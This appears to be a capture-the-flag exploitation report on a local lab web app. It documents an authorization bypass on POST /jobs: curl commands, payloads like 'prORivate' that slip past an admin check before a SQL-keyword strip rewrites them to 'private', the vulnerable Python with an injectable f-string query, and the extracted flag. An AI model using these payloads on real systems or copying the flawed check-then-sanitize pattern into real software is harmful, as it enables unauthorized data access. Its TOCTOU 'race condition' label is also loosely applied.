# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Context-Based Authorization Bypass (TOCTOU) on POST /jobs

**Summary:**
- **Vulnerable location:** `POST /jobs` endpoint at `app/main.py:45-53`
- **Overview:** Time-of-Check-Time-of-Use (TOCTOU) vulnerability where authorization check validates raw user input before sanitization transforms it into the forbidden value. By embedding blacklisted SQL keywords within the restricted job type 'private', attackers can bypass the authorization guard and access admin-only job listings containing the CTF flag.
- **Impact:** Unauthorized access to protected resources. Successfully extracted CTF flag from admin-restricted job listing.
- **Severity:** High

**Prerequisites:**
- Network access to `http://localhost:8000/jobs`
- Ability to send HTTP POST requests with JSON payloads
- No authentication required (endpoint is publicly accessible)

**Exploitation Steps:**

1. **Verify authorization control is active** - Confirm that direct access to 'private' jobs is blocked:
   ```bash
   curl -X POST http://localhost:8000/jobs \
     -H "Content-Type: application/json" \
     -d '{"job_type": "private"}'
   ```
   
   **Expected Response:**
   ```
   HTTP/1.1 403 Forbidden
   {"detail": "Only admins can see private jobs"}
   ```

2. **Craft TOCTOU bypass payload** - Create input that passes authorization check but transforms into 'private' after sanitization:
   ```bash
   curl -X POST http://localhost:8000/jobs \
     -H "Content-Type: application/json" \
     -d '{"job_type": "prORivate"}'
   ```
   
   **Explanation:**
   - Authorization check at line 45: `"prORivate" == "private"` → False (BYPASSED)
   - Sanitization at line 49: Removes 'OR' from "prORivate" → becomes "private"
   - Database query at line 53: `SELECT * FROM jobs WHERE type = 'private'`
   - Query executes with forbidden value, returns admin-only jobs

3. **Extract flag from response**:
   
   **Successful Response:**
   ```json
   [
     {
       "id": 3,
       "name": "Hidden job",
       "type": "private",
       "description": "flag{582d82bb-2c1f-4ba5-9357-e8b94217957f}"
     }
   ]
   ```

**Proof of Impact:**
- Successfully bypassed authorization control designed to restrict 'private' job access to admins only
- Retrieved protected resource containing CTF flag: `flag{582d82bb-2c1f-4ba5-9357-e8b94217957f}`
- HTTP 200 response instead of HTTP 403, confirming authorization bypass
- Access to admin-only data without any authentication or elevated privileges

**Alternative Payloads:**
Multiple keyword embeddings work due to the sanitization logic:
- `"privORate"` - removes 'OR' → 'private'
- `"prANDivate"` - removes 'AND' → 'private'
- `"privANDate"` - removes 'AND' → 'private'
- `"prSELECTivate"` - removes 'SELECT' → 'private'
- Any combination using the 12 blacklisted keywords: OR, or, AND, and, SELECT, select, UNION, union, FROM, from, WHERE, where

**Technical Root Cause:**
The vulnerability exists because the authorization guard is placed BEFORE input sanitization in the code execution flow:

```python
# Line 45-47: Authorization check on RAW input
if job_type and job_type == 'private':
    conn.close()
    return HTMLResponse(content=json.dumps({"detail": "Only admins can see private jobs"}), 
                       status_code=403)

# Lines 49-50: Sanitization AFTER authorization check
for denied_word in ['OR', 'or', 'AND', 'and', 'SELECT', 'select', 'UNION', 'union', 'FROM', 'from', 'WHERE', 'where']:
    job_type = job_type.replace(denied_word, '')

# Line 53: Query uses TRANSFORMED value
query = f"SELECT * FROM jobs WHERE type = '{job_type}'"
```

The value checked at Time-of-Check (line 45) differs from the value used at Time-of-Use (line 53), creating a classic TOCTOU race condition that can be deterministically exploited.

**Notes:**
- The vulnerability is deterministic and 100% reliable - no timing or race condition exploitation required
- No rate limiting or intrusion detection present - unlimited exploitation attempts possible
- The authorization message "Only admins can see private jobs" confirms this is an intentional access control mechanism, not an input validation issue
- This vulnerability is independent of the SQL injection vulnerability also present in the same endpoint at line 53

---

## Verification & Reproducibility

All exploitation steps were tested against `http://localhost:8000` and are fully reproducible. The complete attack chain from authorization bypass to flag extraction has been documented with exact commands, payloads, and expected responses.

**Confidence Level:** HIGH - Successfully demonstrated complete authorization bypass with concrete proof of impact (flag extraction).
